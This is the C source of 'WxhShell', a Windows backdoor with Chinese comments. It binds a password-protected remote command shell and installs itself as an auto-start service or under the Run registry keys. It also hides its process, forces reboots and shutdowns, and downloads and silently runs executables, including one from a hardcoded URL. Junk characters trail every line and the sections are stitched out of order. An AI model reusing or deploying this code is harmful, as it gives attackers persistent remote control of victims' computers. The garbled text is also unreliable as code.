    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yn ?U7`V  
    if(Boot(SHUTDOWN)) ywsz"/=@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BUy}Rn  
    else { .*wjkirF#~  
    closesocket(wsh); jtVPv]  
    ExitThread(0); Z]>e& N  
    } \8>N<B)  
    break; ZsK'</7  
    } +[l{C+p  
  // 获取shell I}Gl*@K&O  
  case 's': { )*L?PT  
    CmdShell(wsh); cX=b q_  
    closesocket(wsh); Dil4ut- $  
    ExitThread(0); HjF'~n  
    break; NYV0<z@M2M  
  } GL0':LsZ  
  // 退出 { G>+.  
  case 'x': { },QFyT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iNrmhiql  
    CloseIt(wsh); }-]s#^'w  
    break; TXk"[>,:H  
    } UNH}*]u4`  
  // 离开 Y8CYkJTAD-  
  case 'q': { O6/=/-?N=c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r'JK$9  
    closesocket(wsh); >,Swk3  
    WSACleanup(); T.Y4L  
    exit(1); TX5/{cHd  
    break; zm^p7&ak$  
        } N@`9 ~JS  
  } v_ F?x!  
  } {~p %\  
ljR?* P  
  // 提示信息 P9HPr2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); * jNu?$  
} P*^UU\x'4I  
  } GMp'KEQQ  
AxqTPx7`|  
  return; MS^hsUj}  
} f*H}eu3/j  
|c+N)F B  
// shell模块句柄 P6Z,ci17  
int CmdShell(SOCKET sock) HBkQ`T  
{ GISI8W^  
STARTUPINFO si; 21J82M  
ZeroMemory(&si,sizeof(si)); g='2~c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2!& ;ZcT,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K0!#l Br  
PROCESS_INFORMATION ProcessInfo; C&K(({5O  
char cmdline[]="cmd"; =|t1eSzc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JU`'?b  
  return 0; XXdMppoR  
} 9*Mg<P"  
eMMiSO!3  
// 自身启动模式 -8J@r2\  
int StartFromService(void) mp$II?hZ*  
{ Rn ^N+3o'M  
typedef struct #+Gs{iXr  
{ t $ ~:C  
  DWORD ExitStatus; ;."{0gq  
  DWORD PebBaseAddress; f2K3*}P  
  DWORD AffinityMask; $fpDABf  
  DWORD BasePriority; '`VO@a  
  ULONG UniqueProcessId; +?eAaC7s  
  ULONG InheritedFromUniqueProcessId; s5|)4Z ac  
}   PROCESS_BASIC_INFORMATION; 8{^GC(W{]  
Yy;1N{dbT  
PROCNTQSIP NtQueryInformationProcess; 4 6JP1  
\}&w/.T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4>eg@sN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VTkT4C@I;Y  
!LSWg:Ev+  
  HANDLE             hProcess; _5 -"<  
  PROCESS_BASIC_INFORMATION pbi; e/~<\  
wA+4:CF @  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VFp)`+8  
  if(NULL == hInst ) return 0; RR {9  
2MrR|hLx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fC:\Gh5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f*f9:xUY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UE](`|4H  
9K_HcLO%y  
  if (!NtQueryInformationProcess) return 0; ^Q:`2C5  
G`K7P`m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); os+wTUR^  
  if(!hProcess) return 0; dKG<"  
j>=".^J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (.t:sn"P  
}{PtQc6RL!  
  CloseHandle(hProcess); h.%Qn vL  
vYun^(_-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m#(x D~V  
if(hProcess==NULL) return 0; D#(L@ {vC  
z@LP9+?dE  
HMODULE hMod; #.K&]OV/88  
char procName[255]; PltPIu)F  
unsigned long cbNeeded; uB9+E%jOdQ  
|-?b)yuAz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c'4 \F9  
x?$Y<=vT  
  CloseHandle(hProcess); #rC+13  
P=i |{vv(  
if(strstr(procName,"services")) return 1; // 以服务启动 l)eaIOyk  
ZACn_gd[5  
  return 0; // 注册表启动 K1yM'6 Zw  
} xpo}YF'5  
v<4X;4p^  
// 主模块 -Euy5Y  
int StartWxhshell(LPSTR lpCmdLine) uATRZMai  
{ UzRF'<TWf  
  SOCKET wsl; S!c@6&XJm?  
BOOL val=TRUE; @ uWD>(D  
  int port=0; <0MUn#7'  
  struct sockaddr_in door; Kn]WXc|("  
hj[g2S%X  
  if(wscfg.ws_autoins) Install(); }e6:&`a xD  
\p|!=H@  
port=atoi(lpCmdLine); T{Q&}`D)r  
<i?-x&Q?=  
if(port<=0) port=wscfg.ws_port; Sa(r l^qZ2  
#@`^  .  
  WSADATA data; aesFv)5DK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BF#e=p  
kF7Al]IgT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Yf9L~K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W12K93tO  
  door.sin_family = AF_INET; >.A:6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YRXe j  
  door.sin_port = htons(port); l#:Q V:  
r#}%sof  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mcracj[ B  
closesocket(wsl); sRG3`>1  
return 1; smNr%}_g  
} 6C5qW8q]u3  
w|ei*L  
  if(listen(wsl,2) == INVALID_SOCKET) { [!$>:_Vq/  
closesocket(wsl); c }cboe2  
return 1; /267Q;d C)  
} x F#)T *  
  Wxhshell(wsl); w, wt<@}  
  WSACleanup(); !Hg#c!eOg  
j_g9RmZT  
return 0; 2HNS|GHb&  
&c !-C_L 2  
} {,-#;A*yW  
>skS`/6  
// 以NT服务方式启动 *l} 0x@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E{B<}n|}&  
{ u?i1n=Ne  
DWORD   status = 0; Q^OzFfR6  
  DWORD   specificError = 0xfffffff; ^u74WN  
=+WFx3/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'r0gqtB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }2{#=Elh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XUHY.M  
  serviceStatus.dwWin32ExitCode     = 0; _Fjv.VQ,  
  serviceStatus.dwServiceSpecificExitCode = 0; >a K&T"  
  serviceStatus.dwCheckPoint       = 0; c eX*|B@=  
  serviceStatus.dwWaitHint       = 0; BcWReyO<M  
];YOP%2   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); + u+fEg/A  
  if (hServiceStatusHandle==0) return; cR} =3|t  
~+hG}7(:  
status = GetLastError(); wz=I+IN:  
  if (status!=NO_ERROR) X35hLp8 M  
{ h:wD &Fh8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [%y D,8  
    serviceStatus.dwCheckPoint       = 0; )*B.y|b #  
    serviceStatus.dwWaitHint       = 0; GKr L  
    serviceStatus.dwWin32ExitCode     = status; 8Sa<I .l  
    serviceStatus.dwServiceSpecificExitCode = specificError; Os;\\~e5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3i1>EjML  
    return; C 0wq  
  } x$*OglaS  
aMWNZv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %qhaVM$]  
  serviceStatus.dwCheckPoint       = 0; 1+Oo Qs  
  serviceStatus.dwWaitHint       = 0; r+2dBp3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }ls>~uN  
} .u&g2Y  
N 2\,6<  
// 处理NT服务事件,比如:启动、停止 Q]C1m<x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ijfT!W  
{ mvxvX!t  
switch(fdwControl) I nk76-  
{ H{If\B%1t  
case SERVICE_CONTROL_STOP: `7`iCYiTy  
  serviceStatus.dwWin32ExitCode = 0; 191)JWfa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .'M]cN~  
  serviceStatus.dwCheckPoint   = 0; a>6p])Wh  
  serviceStatus.dwWaitHint     = 0; \uH;ng|m  
  { n&^Rs )%v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ek<U2C_u#  
  } z!tHn#  
  return; 1?;s!6=  
case SERVICE_CONTROL_PAUSE: IZGty=Q_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @NZ?D0"  
  break; U.\kAEJ  
case SERVICE_CONTROL_CONTINUE: {fWZ n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y)2]:nD`B  
  break; 9j/B3CjW  
case SERVICE_CONTROL_INTERROGATE: Fa8>+  
  break; EW)]75o{QF  
}; 8oK30?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e5dwq  
} xYbF76B  
r BaK$Ut  
// 标准应用程序主函数 6k-]2,\#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @U,cj>K  
{ \VW.>@s~  
\%#jT GFs~  
// 获取操作系统版本 ;,D7VxWhY  
OsIsNt=GetOsVer(); \I> ,j,c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p-Z5{by  
umciP  
  // 从命令行安装 Y) Z>Bi  
  if(strpbrk(lpCmdLine,"iI")) Install(); nZ]d[  
|jlR] ,  
  // 下载执行文件 "dIoIW  
if(wscfg.ws_downexe) { %H54^Z<y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `y4+OXZ^  
  WinExec(wscfg.ws_filenam,SW_HIDE); C M(g4fh  
} iIg_S13  
Z"A:^jZ<s  
if(!OsIsNt) { !HFwQGP.Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 7J\I%r  
HideProc(); Z|u_DaSrr|  
StartWxhshell(lpCmdLine); |e!Sm{#!  
} r(RJ&\ !  
else bR.T94-8y  
  if(StartFromService()) q^gd1K<N  
  // 以服务方式启动 8I*fPf  
  StartServiceCtrlDispatcher(DispatchTable); x\lua  
else &" =inkh  
  // 普通方式启动 y<Z8+/f`f  
  StartWxhshell(lpCmdLine); 6d,"GT  
f?)qZPM  
return 0; =^6]N~*,D  
} /IgTmXxxj  
~&g:7f|X  
D+RG,8Ht  
%"o4IYV#  
=========================================== e_Y>[/Om  
3N?uY2  
#+XKfumLk  
f"/NY6  
 7p{lDQ  
.S[5CO^  
" wEk9(|  
'kp:yI7w  
#include <stdio.h> |>m@]s7Z  
#include <string.h> ?=6zgb"9-  
#include <windows.h> ]F,5Oh :OY  
#include <winsock2.h> (UpSi6?\  
#include <winsvc.h> XMpPG~XdN  
#include <urlmon.h> ).LJY<A  
h.PY$W<  
#pragma comment (lib, "Ws2_32.lib") dP )YPy_`  
#pragma comment (lib, "urlmon.lib") [mX\Q`)QP  
h|wy vYKZ  
#define MAX_USER   100 // 最大客户端连接数 W Qe>1   
#define BUF_SOCK   200 // sock buffer ]ko>vQ4]3  
#define KEY_BUFF   255 // 输入 buffer `CW=*uBH  
 </7J:#  
#define REBOOT     0   // 重启 +3VY0J  
#define SHUTDOWN   1   // 关机 _bW#* Y5  
m%akx@{WL  
#define DEF_PORT   5000 // 监听端口 Bp9 u6R  
{whR/rX`  
#define REG_LEN     16   // 注册表键长度 HyZh27PE  
#define SVC_LEN     80   // NT服务名长度 ofsua?lSe  
(Ys 0|I3  
// 从dll定义API ^,,|ED\M{m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &6h,'U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eP6>a7gc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `g3H; E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hX8;G!/  
yYF%U7N/n  
// wxhshell配置信息 I~EJctOG  
struct WSCFG { "H6DiPh.E  
  int ws_port;         // 监听端口 .F |yxj;I7  
  char ws_passstr[REG_LEN]; // 口令 L ej3? k  
  int ws_autoins;       // 安装标记, 1=yes 0=no ho 4~-xmN  
  char ws_regname[REG_LEN]; // 注册表键名 . F_pP2A  
  char ws_svcname[REG_LEN]; // 服务名 0D=6-P?^W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F@[l&`7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (|<}q-wO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G3m+E;o1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zGA#7W2?0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ak&eGd$d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z;D[7tT  
DdPU\ ZWR  
}; `N;JM3 ck  
1InG%=jLo  
// default Wxhshell configuration XXvM*"3D5  
struct WSCFG wscfg={DEF_PORT, 1ih|b8)Dn  
    "xuhuanlingzhe", 7iT#dpF/A  
    1, 0rooL<~fa  
    "Wxhshell", _>0 I9.[5  
    "Wxhshell", KftZ ^mk+p  
            "WxhShell Service", uK1DC i  
    "Wrsky Windows CmdShell Service", \K55|3~R  
    "Please Input Your Password: ", Xbe=_9l&p  
  1, Sw%^&*J  
  "http://www.wrsky.com/wxhshell.exe", /GqW1tcO  
  "Wxhshell.exe" FZO}+ P  
    }; 5V]!xi  
sBt,y _LW  
// 消息定义模块 -6@#Nq_iWU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xnpw'<~X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d=yuuS /  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 22(7rUkI  
char *msg_ws_ext="\n\rExit."; =HH}E/9z  
char *msg_ws_end="\n\rQuit."; s: pmB\  
char *msg_ws_boot="\n\rReboot..."; .liVlo@  
char *msg_ws_poff="\n\rShutdown..."; "`s{fy~mV  
char *msg_ws_down="\n\rSave to "; e+Vn@-L;  
s$s~p +U  
char *msg_ws_err="\n\rErr!"; c7Jfo x V  
char *msg_ws_ok="\n\rOK!"; V9bn  
lXjhT  
char ExeFile[MAX_PATH]; v*U OD'tk  
int nUser = 0; A63=$  
HANDLE handles[MAX_USER]; ,Y  ./9F  
int OsIsNt; [2ez"4e  
\  2#7B8  
SERVICE_STATUS       serviceStatus; RR |Z,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B'SLyf  
[`2V!rU  
// 函数声明 hR(\%p  
int Install(void); Y,n&g45m  
int Uninstall(void); ) G a5c  
int DownloadFile(char *sURL, SOCKET wsh); 5bBY[qp  
int Boot(int flag); epXvk &  
void HideProc(void); m -]E|  
int GetOsVer(void); $MhfGMk!'  
int Wxhshell(SOCKET wsl); K+|G9  
void TalkWithClient(void *cs); 3qggdi  
int CmdShell(SOCKET sock); %m)vQ\Vtx  
int StartFromService(void); '(fQtQ%  
int StartWxhshell(LPSTR lpCmdLine); UXgeL2`;  
V(wm?Cc]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /fgy07T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rU/8R'S  
(J} tCqP  
// 数据结构和表定义 E?v:7p<  
SERVICE_TABLE_ENTRY DispatchTable[] = /#TtAkH  
{ Bre:_>*  
{wscfg.ws_svcname, NTServiceMain}, #:[^T,YD0  
{NULL, NULL} q|h#J}\  
}; x`n7D  
+@G#Z3;l!  
// 自我安装 (}*1,N!#  
int Install(void) M$,4B  
{ P.#@1_:gC  
  char svExeFile[MAX_PATH]; djmd @{Djt  
  HKEY key; (_IPz)F  
  strcpy(svExeFile,ExeFile); Z@(m.&ZRx  
<!;NJLe`  
// 如果是win9x系统,修改注册表设为自启动 r?7tI0  
if(!OsIsNt) { {?X:?M_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y8%QS*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `?=Y^+*!-  
  RegCloseKey(key); *{<46 0`!q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wDp5HZ>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0H!J  
  RegCloseKey(key); $-AG $1  
  return 0; ,)?!p_*@:  
    } 4m1@lnjp  
  }  \uG^w(*)  
} ,B2p\  
else { L5DeLF+  
#V9do>Cu%  
// 如果是NT以上系统,安装为系统服务  hik.c3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B}fd#dr  
if (schSCManager!=0) Fzmc#?  
{ '/2)I8  
  SC_HANDLE schService = CreateService z#HNJAQ#|  
  ( b]5/IT)@O  
  schSCManager, yByxy-~  
  wscfg.ws_svcname, Mh "iyDGA  
  wscfg.ws_svcdisp, <H,E1kGw9  
  SERVICE_ALL_ACCESS, bUU\bc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k|4}Do%;  
  SERVICE_AUTO_START, }y>/#]X  
  SERVICE_ERROR_NORMAL, yU|=)p5  
  svExeFile, y3@m1>]09  
  NULL, O%s7}bR3  
  NULL, >zX`qv&>  
  NULL, a! gj_  
  NULL, &0x;60b  
  NULL VV-%AS6;  
  ); Qa#Em1co  
  if (schService!=0) y/Ui6D  
  { v`&>m '  
  CloseServiceHandle(schService); 4D)M_O  
  CloseServiceHandle(schSCManager); IE:;`e:\D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b?,''t  
  strcat(svExeFile,wscfg.ws_svcname); U_sM==~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }Jo}K) >!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fA)4'7UT  
  RegCloseKey(key); K?@x'q1  
  return 0; O^Y@&S RrQ  
    } =xjt PmZ5X  
  } Esdv+f}4;  
  CloseServiceHandle(schSCManager); _a\$uVZ  
} tq=7HM  
} Owz>g4l r  
|33_="  
return 1; {Q021*xt/  
} bQ`2ll*(  
M~U>" kX  
// 自我卸载 0ky3rFSh1  
int Uninstall(void) }hA)p:  
{ Lvb'qZ6n  
  HKEY key; uWLf9D"  
Pd+Wb3  
if(!OsIsNt) { Ow 0(q^H<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U!b~vrr^  
  RegDeleteValue(key,wscfg.ws_regname); KBI36=UV  
  RegCloseKey(key); 0`4Fa^o]h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =zW`+++3  
  RegDeleteValue(key,wscfg.ws_regname); @NYlVk2  
  RegCloseKey(key); wvI}|c  
  return 0; (V>/[Ev  
  } x-T7 tr&(  
} nNhb,J  
} ZMEYF!j N  
else { ,8.zbr  
I:UN2`*#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \Icd>>)*  
if (schSCManager!=0) :!w;Y;L:+  
{ G LA4O)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~p{ fl?  
  if (schService!=0) Mk/ZEyq^  
  { U]Fnf?(  
  if(DeleteService(schService)!=0) { 3oC ^"723  
  CloseServiceHandle(schService); <z QUa  
  CloseServiceHandle(schSCManager); "y-/ 9C  
  return 0; Tffdm  
  } NchEay;`  
  CloseServiceHandle(schService); b6^#{))"  
  } mr+8[0  
  CloseServiceHandle(schSCManager); V!f' O@p[  
} COL_c<\  
} <3 I0$?xL  
}LwKi-G?  
return 1; /Z2 g >  
} snVeOe#'S  
es1'z.UJ  
// 从指定url下载文件 S[y?>  
int DownloadFile(char *sURL, SOCKET wsh) T# 3`&[  
{ `;Xwv)  
  HRESULT hr; K 5AArI  
char seps[]= "/"; Ym wb2]M  
char *token; yHmNO*(  
char *file; `aM8L  
char myURL[MAX_PATH]; a;v;%rs  
char myFILE[MAX_PATH]; nm`}Z'&)  
.~%,eF;l$  
strcpy(myURL,sURL); *40Z }1ng  
  token=strtok(myURL,seps); 15cgmZsS  
  while(token!=NULL) xHaoSs*C9  
  { $uUJV% EX  
    file=token; yb-/_{Y  
  token=strtok(NULL,seps); eR!K8W  
  } d=a$Gd_$  
+pjU4>)  
GetCurrentDirectory(MAX_PATH,myFILE); *}Gu'EU  
strcat(myFILE, "\\"); ?j$*a7[w  
strcat(myFILE, file); h5ZxxtGU  
  send(wsh,myFILE,strlen(myFILE),0); ^ oh%Ns  
send(wsh,"...",3,0); u4~( 0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S %(R9N|  
  if(hr==S_OK) <xAlp;8m5  
return 0; trg&^{D<  
else CW@G(R  
return 1; +zzS  
8_uh2`+Bvb  
} PF] Vt  
J:2Su1"ODh  
// 系统电源模块 nEh^{6  
int Boot(int flag) baib_-$  
{ pjNH0mZ  
  HANDLE hToken;  o[>p  
  TOKEN_PRIVILEGES tkp; y0 qq7Dmu  
(^= Hq'D  
  if(OsIsNt) { l]mn4cn3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aR0v qRF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M5l*D'GE]  
    tkp.PrivilegeCount = 1; &;@U54,wV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \\,z[C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n4G53+y'  
if(flag==REBOOT) { jIL$hqo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LJBDB6  
  return 0; q^+Z>   
} YbE1yOJ&m  
else { J!*Pg<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zq>}SR  
  return 0; BXX1G  
} <P<^,aC/j  
  } E3E$_<^  
  else { uT{.\qHo  
if(flag==REBOOT) { -u%'u~s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P8;f^3V(+/  
  return 0; ;AE%f.Y  
} fa;GM7<e)  
else { <>K@#|%Y&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^<nN~@j  
  return 0; !d=Q@oy5  
} 'gv7&$X}4  
} Yq%D/dU8  
t+B L O<  
return 1; -g)*v<Fb5  
} IP+1 :M  
parC~)b_  
// win9x进程隐藏模块 m#(ve1E  
void HideProc(void) /pDI \]  
{ 1~Z Kpvu  
^9I^A!w=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _\2^s&iJh  
  if ( hKernel != NULL ) 5zsXqBG  
  { QtsyMm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O"x/O#66  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |A@Gch fd  
    FreeLibrary(hKernel); Zc57]~  
  } 3a#j&]  
9@|X~z5E  
return; Y/w) VV  
} 9 ulr6  
fO{E65uA  
// 获取操作系统版本 B^G{k3]t  
int GetOsVer(void) yy-\$<j  
{ +qEvz<kch  
  OSVERSIONINFO winfo; #] 5|Qhrr+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WS)u{ or  
  GetVersionEx(&winfo); y i/jZX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yD!V;?EnK  
  return 1; J#y?^Qm$)<  
  else ps6c>AN`A&  
  return 0; u3H2\<  
} `?L-{VtM3*  
VClw!bm  
// 客户端句柄模块 dc0Ro,  
int Wxhshell(SOCKET wsl) 8M;G@ Q80  
{ |_;Vb  
  SOCKET wsh; D;Jb' Be  
  struct sockaddr_in client; c{t[iXDG  
  DWORD myID; _A .?:'-  
U"v}br -kb  
  while(nUser<MAX_USER) N:@C% UW}  
{ E0*'AZi&  
  int nSize=sizeof(client); 4r [T pb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); md/Z[du:'  
  if(wsh==INVALID_SOCKET) return 1; uz+b  
p }bTI5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cnOk  
if(handles[nUser]==0) wp,z~raaS  
  closesocket(wsh); :B'}#;8_  
else M('cG  
  nUser++; l<$c.GgFd  
  } V ;)q?ZHg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -W+67@(\8H  
w{"GA ~=  
  return 0; 1H_#5hd  
} 9{bzxM  
U{>eE8l  
// 关闭 socket 3rZ"T  
void CloseIt(SOCKET wsh) (dF4F4`{  
{ ]Zim8^n?`.  
closesocket(wsh); hexq]'R  
nUser--; 8D:{05  
ExitThread(0); 5yQv(<~*G  
} A2"xCJ0`  
0ZV)Y<DJ  
// 客户端请求句柄 [@= [< _r  
void TalkWithClient(void *cs) r\"O8\  
{ u-h3xj  
9Yowz]')  
  SOCKET wsh=(SOCKET)cs; `8TM<az-L  
  char pwd[SVC_LEN]; gH0B[w ]  
  char cmd[KEY_BUFF]; %6"b< MAO  
char chr[1]; 1a90S*M  
int i,j; R6Cm:4m}I  
^F~e?^s  
  while (nUser < MAX_USER) { [,a O*7 N  
wDZFOx0#8  
if(wscfg.ws_passstr) { |Tz4xTK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q $`:/ ehw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LxVd7r VY6  
  //ZeroMemory(pwd,KEY_BUFF); ?Y'S /  
      i=0; u hP0Zwn  
  while(i<SVC_LEN) { O`dob&C  
:u{0M&  
  // 设置超时 dTaR 8i  
  fd_set FdRead; j78xMGKO  
  struct timeval TimeOut; GD'C^\E aZ  
  FD_ZERO(&FdRead); .VmI4V?}h  
  FD_SET(wsh,&FdRead); Q[p0bD:  
  TimeOut.tv_sec=8; Md {,@ G  
  TimeOut.tv_usec=0; G6eC.vU]j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xM;gF2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jl2nRo  
) ZOmv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S_:(I^  
  pwd=chr[0]; q'2PG@  
  if(chr[0]==0xd || chr[0]==0xa) { ooIMN =  
  pwd=0; >UJ&noUD#:  
  break; c)SSi@< cv  
  } VSZ6;&2^  
  i++; im+2)9f  
    } _'H<zZo  
S53%*7K.  
  // 如果是非法用户,关闭 socket ["Q8`vV0WO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @\!wW-:A  
} 0 $e;#}  
z[v5hhI)4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %1VMwqC]E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;^DUtr ;  
W'XMC"  
while(1) { ,mYoxEB kl  
45j+n.9=  
  ZeroMemory(cmd,KEY_BUFF); (4 {49b  
<\^X,,WtO  
      // 自动支持客户端 telnet标准   !icpfxOpjQ  
  j=0; OV8b~k4=  
  while(j<KEY_BUFF) {  R/^JyL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cT0utR&  
  cmd[j]=chr[0]; 0uU%jN$  
  if(chr[0]==0xa || chr[0]==0xd) { 4&ea*w  
  cmd[j]=0; k #*|-?  
  break; &OhKx  
  } o@LjSQ5!  
  j++; &"tce6&  
    } : 6>H\  
HB`pK'gz  
  // 下载文件 v[a#>!;s  
  if(strstr(cmd,"http://")) { I9F[b#'Pn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DJQ]NY|  
  if(DownloadFile(cmd,wsh)) 1~ S Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XFu@XUk!K  
  else N0vd>b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqXo;`Yy}  
  } FOk @W&  
  else { >>$IHz4Z"  
RaU.yCYyu  
    switch(cmd[0]) { ){YPP!8cI  
  Ix"c<1 I  
